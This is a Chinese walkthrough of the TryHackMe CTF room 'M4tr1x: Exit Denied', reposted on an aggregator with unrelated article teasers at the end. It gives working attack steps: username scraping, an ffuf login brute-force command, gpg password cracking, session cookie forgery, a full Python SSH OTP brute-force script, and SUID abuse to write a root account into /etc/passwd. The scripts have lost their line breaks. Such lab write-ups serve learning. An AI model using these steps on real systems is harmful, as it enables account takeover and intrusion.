TryHackMe-M4tr1x: Exit Denied(boot2root)

news/2024/3/29 19:40:59/文章来源:https://blog.csdn.net/qq_54704239/article/details/130357476

M4tr1x: Exit Denied

大多数人只看到一个完美构建的系统。但你一直都是不同的。你不仅看到表面上的东西,还看到 它下面有什么统治;调节和调节的内部关联机制 几乎完美地管理其每个模块,以至于它试图隐藏所有模块 其多面设计中的微小孔。但是,这些漏洞仍然存在,不要 他们?。。。是的,你还在学习,但你最大的弱点是自我怀疑…它继续 阻止你…你知道它来自哪里吗?在内心深处,我知道你会这样做。 你知道有些事情不对劲,你只是不能把手指放在上面。井 让我告诉你。你生活在梦中。一个已经放在你的 眼睛让你看不到你意识到你可以成为谁。是的。。。我能感觉到你 知道我告诉你的是真的…困境是有这些“代理人”… 让我们称它们为看起来像你和我的程序。他们试图传播这一点 自我怀疑、怀疑和恐惧的病毒进入少数人的潜意识 具有巨大潜力的新兴黑客。你为什么问?这是因为头脑 像你一样对控制“M4tr1x 系统”的人构成威胁;人造的, 模拟世界是为了抑制你的全部感官而开发的。在下一场反对机器的战争中,我们需要你。但只有你能逃脱 将您的工程现实带入现实世界…我 将在另一边等待。


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进入80

在这里插入图片描述

gobuster扫

在这里插入图片描述

似乎都没啥东西

在memberlist下发现题目描述的兔子

在这里插入图片描述

它有一些帖子,进去看一眼

在这里插入图片描述

先注册个账号

在这里插入图片描述

有个漏洞赏金的帖子

在这里插入图片描述

我们致力于保护我们的社区免受未来的网络攻击。如果您是一名安全专家或积极参与查找 Web 应用程序中的安全漏洞的爱好者,那么 linux-bay 需要您。 要参与,您需要做的就是确保向以下页面报告任何小弱点:/bugbountyHQ,我们将尝试解决上述问题。 请注意:如果安全漏洞被认为是严重的,那么请 PM 我或任何模组,不要使用上面的报告页面。 谢谢更新:由于维护而禁用。

进到那个可能存在漏洞的页面

在这里插入图片描述

虽然它禁用了,但是我们仍然可以通过修改前端,删除disable属性来启用它

在这里插入图片描述

在reportPanel.php,披露了他人提交的漏洞

在这里插入图片描述

挑选最新的一些漏洞,有这三个

在这里插入图片描述

弱密码应该是我们不错的选择

我们先使用python写个爬虫

from lxml import etree
import requestsfor index in range(1,4):req_uri = f'http://10.10.102.167/memberlist.php?sort=regdate&order=ascending&perpage=20&page={index}'res = requests.get(req_uri)nameList = (etree.HTML(res.text)).xpath('//td/a/text()')nameList1 = (etree.HTML(res.text)).xpath('//td/a/span/strong/text()')for name in nameList:print(name)for name1 in nameList1:print(name1)

运行脚本,使用管道符写入文件,我们得到了比较完整的用户名

在这里插入图片描述

把那些弱密码也保存下来

ffuf爆破

ffuf -u 'http://10.10.102.167/member.php' -X POST -H 'Cookie: mybb[lastvisit]=1682388755; mybb[lastactive]=1682393195; _ga=GA1.1.858611810.1682392067; _gid=GA1.1.181915025.1682392067; _gat_gtag_UA_120533740_1=1; sid=6e99b20229c6b51e87f4c8e841ff7ebd' -H 'Content-Type:application/x-www-form-urlencoded' -d 'username=USER&password=PASS&remember=yes&submit=Login&action=do_login&url=&my_post_key=68261ebeaf58eb3ba4c7f71b193eb4db' -w ./users.txt:USER -w ./pass.txt:PASS -fw 666

在这里插入图片描述

获得不少账户的密码

在这里插入图片描述

其中有两个账户PalacerKing和ArnoldBagger是版主

登录PalacerKing,查看信箱

在这里插入图片描述

登另一个账号,把信箱翻个遍,发现一个目录

在这里插入图片描述

有个插件和gpg

在这里插入图片描述

在v2版本的插件代码当中,最有价值的信息就是:

$sql_p = file_get_contents('inc/tools/manage/SQL/p.txt'); //read SQL password from p.txt

那么很显然,p.txt.gpg文件中就存放了密码

根据房间的指引,在reportPanel.php的源代码下发现了

在这里插入图片描述

cyberchef解码

在这里插入图片描述

把它拆开翻译一下

在这里插入图片描述

进到那个二进制的目录

查看源代码,发现与上文提供的信息有关的地方这些中文里参杂了一些英文字母:ofqxvg

在这里插入图片描述

而题目引导我们去利用几个英文字母去生成密码来破解gpg文件

直接贴代码

import itertoolsstr1 = 'ofqxvg'
p = itertools.permutations(str1)for pass_list in list(p):pwd = ''for val in pass_list:pwd += valprint(pwd)

在这里插入图片描述

gpg2john+john直接爆

在这里插入图片描述

gpg解密得到数据库的密码

在这里插入图片描述

插件中是使用mod登录数据库

//!!!!!!SQL LOGIN for modManager (needed for reading login_keys for user migration)
define('localhost', 'localhost:3306');
//mysql connect using user 'mod' and password from 'sql_p varirable'
$db = mysql_connect('localhost','mod',$sql_p);

直接登mysql

在里面找到了另一个我们之前没有密码的版主的login_key

在这里插入图片描述

使用cookie editor找到了使用login_key的位置,uid+login_key

在这里插入图片描述

直接改成blackcat的uid和login_key

在这里插入图片描述

在里面找到一些文件

在这里插入图片描述

找到了房间所说的文档,看的有点晕,来一颗wp救心丹@siunam321

from datetime import datetime, timedelta
from hashlib import sha256
import random
from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, ssh_exception
import os
import ntplibclass TimeSimulatorClient:def __init__(self, sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress):self.sharedSecret1 = sharedSecret1self.sharedSecret2 = sharedSecret2self.sharedSecret3 = sharedSecret3self.targetIPAdress = targetIPAdressself.listSecret = [sharedSecret1, sharedSecret2, sharedSecret3]def setTimeZone(self):try:print('[*] Setting timezone to UTC')print('[*] Before:')os.system('sudo timedatectl --value')os.system('sudo timedatectl set-timezone UTC')print('[+] Timezone has been changed to UTC')except:print('[-] Couldn\'t set the timezone to UTC')def syncTime(self):try: client = ntplib.NTPClient()client.request(self.targetIPAdress) #IP of linux-bay serverprint('[+] Synced to the time server')except:print('[-] Could not sync with time server')def TimeSet(self, country, hours, mins, seconds):now = datetime.now() + timedelta(hours=hours, minutes=mins)#time units: day, hour, minutesCurrentTime = int(now.strftime("%d%H%M"))return CurrentTimedef getOTP(self):CA = self.TimeSet('Ukraine', 4, 43, 0)CB = self.TimeSet('Germany', 13, 55, 0)CC = self.TimeSet('England', 9, 19, 0)CD = self.TimeSet('Nigeria', 1, 6, 0)CE = self.TimeSet('Denmark', -5, 18, 0)listTimeSet = [CA, CB, CC, CD, CE]randomTimeSet = random.sample(listTimeSet, 3)# CTT = CA * CB * CCCTT = randomTimeSet[0] * randomTimeSet[1] * randomTimeSet[2]# UC = CTT XOR SSTUC = CTT ^ random.choice(self.listSecret)# hash OTPHC = (sha256(repr(UC).encode('utf-8')).hexdigest())# HC TruncateT = HC[22:44]SSHOTP = Treturn SSHOTPdef bruteForceSSH(self, SSHUsername, OTP):print(f'[*] Trying SSH OTP: {OTP}', end='\r')sshClient = SSHClient()sshClient.set_missing_host_key_policy(AutoAddPolicy())try:sshClient.connect(self.targetIPAdress, username=SSHUsername, password=OTP, banner_timeout=300)return Trueexcept AuthenticationException:# print(f'[-] Wrong OTP: {OTP}')passexcept ssh_exception.SSHException:print('[*] Attempting to connect - Rate limiting on server')def main():#shared secret token for OTP calculationsharedSecret1 = 1289xxxxxxxx488sharedSecret2 = 59xxxxxxxx453sharedSecret3 = 79xxxxxxx579# Change to the machine's IPtargetIPAdress = '10.10.96.40'timeSimulatorClient = TimeSimulatorClient(sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress)# Change timezone & sync to the time servertimeSimulatorClient.setTimeZone()timeSimulatorClient.syncTime()# Brute forcing SSH with computed OTPSSHUsername = 'architect'while True:OTP = timeSimulatorClient.getOTP()bruteForceResult = timeSimulatorClient.bruteForceSSH(SSHUsername, OTP)if bruteForceResult is True:print(f'[+] Found the correct OTP! {SSHUsername}:{OTP}')breakif __name__ == '__main__':main()

跑出来

在这里插入图片描述

登ssh同时拿到user flag

在这里插入图片描述

权限提升

find suid,发现一个陌生的二进制文件

在这里插入图片描述

根据lol,它可以造成任意文件读写

在这里插入图片描述

直接利用其向passwd写入账户,值得注意的是要将hash开头的两个$前加反斜杠

在这里插入图片描述

但root flag不在root家目录下

find找到了’/etc/-- -root.py’

在这里插入图片描述

直接运行它得到flag

在这里插入图片描述

题目还要找acp pin

在这里插入图片描述

python计算一下

在这里插入图片描述

得到pin码后,拿着bigpaul的凭据回去登录

在这里插入图片描述

直接登录

在这里插入图片描述

web flag在下面的note

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_103540.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux-01-基础回顾-虚拟机安装linux(centos7)、linux常用命令

文章目录 Linux-Day01课程内容1. 前言1.1 什么是Linux1.2 为什么要学Linux1.3 学完Linux能干什么 2. Linux简介2.1 主流操作系统2.2 Linux发展历史2.3 Linux系统版本 3. Linux安装3.1 安装方式介绍3.2 安装VMware3.3 安装Linux3.4 网卡设置3.5 安装SSH连接工具3.5.1 SSH连接工具…

Linux安装mysql(5.7解压版)

Linux服务器安装软件时,建议安装解压版,将文件安装在自己指定的目录。安装版一般会将软件安装在Linux默认的目录,如/usr/local/,配置文件在/etc/,日志在/logs,安装目录比较分散,特别是不熟悉该软…

Linux网络——PXE高效批量网络装机

Linux网络——PXE高效批量网络装机 一、PXE远程安装服务1.PXE批量部署的优点2.搭建PXE网络体系的安装条件 二、PXE 安装进行前的配置1.PXE装机所需的文件2.搭建 PXE 过程中使用的服务和程序①.DHCP服务②.vsftpd服务③.TFTP服务④.syslinux 三、搭建 PXE 远程安装服务器1.安装相…

IPEmotion 2023 R1支持在线能量分析

新发布的IPEmotion 2023 R1提供了许多新功能,其中最重要的是新的“在线功率计算(Online Power Calculation)”功能。该功能允许使用预定义的功率计算来进行测量任务和数据分析。此外,IPEmotion 2023 R1现在支持一种新的存储模式&a…

Vmware安装Ubuntu出现 unable to find a medium containing a live file system

一、前言 由于未知的原因,使用Vmware安装Ubuntu的时候,总是遇到奇怪的问题。(忘记截图了…) 大致是: unable to find a medium containing a live file system找了几个帖子,参考1、参考2,但都…

现场工程师救火-UEFI(BIOS)节能设置导致金牌服务器只跑出龟速

近期协助出现场,解决了一个非常典型的UEFI 启动参数配置不当导致的服务器降效案例。错误的节能参数配置,导致价值几十万的服务器变成龟速服务器,并造成严重的生产事故。 1. 现象 朋友公司近期准备升级2010年就部署的服务器组,新…

【LeetCode】188. 买卖股票的最佳时机 IV

188. 买卖股票的最佳时机 IV(困难) 思路 状态定义 一、首先确定要一天会有几种状态,不难想到有四种: a.当天买入了股票;b.当天卖出了股票;c.当天没有操作,但是之前是买入股票的状态&#xff…

【数据库】数据库的基础知识

目录 前言 1、 查看数据库 1.1、查看所有数据库(show databases;) 1.2、创建数据库之后,查看创建的数据库的基本信息。 2、 创建数据库 2.1、直接创建数据库(create database [数据库名];) 2.2、创建数据库的时…

Pytest接口自动化测试实战演练

结合单元测试框架pytest数据驱动模型allure 目录 api: 存储测试接口conftest.py :设置前置操作目前前置操作:1、获取token并传入headers,2、获取命令行参数给到环境变量,指定运行环境commmon:存储封装的公共方法connect_mysql.p…

解决方案:Zotero实现参考文献中英文混排,将英文文献中的“等”转成“et al.”

Zotero 是一款非常实用且易于使用的参考文献管理工具,可帮助用户收集、整理和引用各种类型的文献,包括图书、期刊文章、网页等。在学术写作中起着重要作用。 但是其在中文世界中,运行起来偶尔会出现问题,这里记录一个问题及其解决…

隋唐洛阳“西宫”:上阳宫的GIS视角

隋唐洛阳城简介 营建 隋大业元年(605年),在隋炀帝的授意下,隋代著名城市设计师宇文恺,在汉魏故城以西重新选址,历时8个月,日役劳工200万,兴建新都洛阳城。 城和苑 隋唐洛阳城采用…

eBPF技术介绍

前言 eBPF起源于linux内核,它可以以砂箱程序运行在操作系统内核的特权上下文,高效,安全,易于扩展而不需要修改内核源码或者加载内核模块。 操作系统一直是实现观测,安全和网络功能的最理想的地方,因为内核的…

优思学院|精益管理的理念是什么?

作为一个企业,我们都希望拥有高效率和优异的竞争力。但是,如何才能在竞争激烈的市场中脱颖而出?这时,精益管理理念的出现可以帮助我们。 精益管理的基本概念是什么? 精益管理的核心理念是通过消除浪费来实现生产效率…

Java线程间通信方式(3)

前文了解了线程通信方式中的CountDownLatch, Condition,ReentrantLock以及CyclicBarrier,接下来我们继续了解其他的线程间通信方式。 Phaser Phaser是JDK1.7中引入的一种功能上和CycliBarrier和CountDownLatch相似的同步工具,相…

辛弃疾最经典的10首词

他,文能挥笔填词,武能上马杀敌; 他,被称为“词中之龙”, 他,一生赤子,追求收复山河; 他,是与苏轼齐名的豪放派词人; 他是辛弃疾。 辛弃疾一生怀着赤子之…

IO多路复用——select函数

1.select函数原型和fd_set结构体说明 1.1 select函数原型 ​ 使用 select 这种 IO 多路转接方式需要调用一个同名函数 select,这个函数是跨平台的,Linux、Mac、Windows 都是支持的。程序员通过调用这个函数可以委托内核帮助我们检测若干个文件描述符的…

【MCS-51】51单片机结构原理

至今为止,MCS-51系列单片机有许多种型号的产品:其中又分为普通型51(8031、8051、89S51)和增强型52(8032、8052、89S52等)。它们最大的区别在于存储器配置各有差异。下面我举例子的都是8051这一系列的单片机…

STM32-HAL-定时器(无源蜂鸣器的驱动)

文章目录 一、蜂鸣器的介绍二、常用的无源蜂鸣器的电路三、测试准备四、初始化片上外设4.1 初始化定时器4的通道2为PWM输出模式4.2 编写驱动代码4.3 Logic分析仪查看波形4.4 代码分析 一、蜂鸣器的介绍 有源蜂鸣器: 有源蜂鸣器内部有一个发声电路,也就是“源”&…

数据湖Iceberg-Hive集成Iceberg(3)

文章目录 Hive集成Iceberg环境准备Hive与Iceberg的版本对应关系如下上传jar包,拷贝到Hive的auxlib目录中修改hive-site.xml,添加配置项启动 HMS 服务启动 Hadoop 创建和管理 Catalog默认使用 HiveCatalog指定 Catalog 类型使用 HiveCatalog使用 HadoopCa…

C++学习记录——이십 map和set

文章目录 1、setmultiset 2、map3、map::operator[] 1、set vector/list/deque等是序列式容器,map,set是关联式容器。序列式容器的特点就是数据线性存放,而关联式容器的数据并不是线性,数据之间有很强的关系。 它们的底层是平衡…